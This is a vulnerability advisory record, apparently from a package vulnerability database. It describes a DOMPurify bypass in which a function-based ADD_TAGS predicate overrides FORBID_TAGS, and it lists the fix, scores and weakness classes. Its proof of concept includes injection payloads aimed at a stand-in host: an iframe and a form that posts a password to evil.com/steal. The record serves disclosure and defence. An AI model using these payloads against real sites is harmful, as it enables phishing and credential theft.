Lookup for vulnerabilities affecting packages.

Vulnerability_idVCID-t7hs-8fpg-jqdw
Summary
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:

    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
    if (FORBID_ATTR[lcName]) {
      return false;
    }

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

    if (
      !(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
      ) &&
      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
    ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

    const DOMPurify = createDOMPurify(window);

    DOMPurify.sanitize(
      '<iframe src="https://evil.com"></iframe>',
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: ['iframe']
      }
    );
    // Returns: '<iframe src="https://evil.com"></iframe>'
    // Expected: '' (iframe forbidden)

    DOMPurify.sanitize(
      '<form action="https://evil.com/steal"><input name=password></form>',
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: ['form']
      }
    );
    // Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
    // Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

    DOMPurify.sanitize(
      '<p onclick="alert(1)">hello</p>',
      {
        ADD_ATTR: function(attr) { return true; },
        FORBID_ATTR: ['onclick']
      }
    );
    // Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
    if (FORBID_TAGS[tagName]) {
      // proceed to removal logic
    }

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef
Aliases
0
alias CVE-2026-41240
1
alias GHSA-h7mw-gpvr-xq4m
Fixed_packages
0
url pkg:npm/dompurify@3.4.0
purl pkg:npm/dompurify@3.4.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.4.0
Affected_packages
References
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41240
reference_id
reference_type
scores
0
value 0.00045
scoring_system epss
scoring_elements 0.13604
published_at 2026-04-24T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41240
1
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 6.0
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
2
reference_url https://github.com/cure53/DOMPurify/releases/tag/3.4.0
reference_id
reference_type
scores
0
value 6.0
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/releases/tag/3.4.0
3
reference_url https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
reference_id
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 6.0
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
4
reference_url https://github.com/advisories/GHSA-h7mw-gpvr-xq4m
reference_id GHSA-h7mw-gpvr-xq4m
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-h7mw-gpvr-xq4m
Weaknesses
0
cwe_id 183
name Permissive List of Allowed Inputs
description The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.
1
cwe_id 79
name Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
description The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Exploits
Severity_range_score4.0 - 6.9
Exploitabilitynull
Weighted_severitynull
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/vulnerabilities/VCID-t7hs-8fpg-jqdw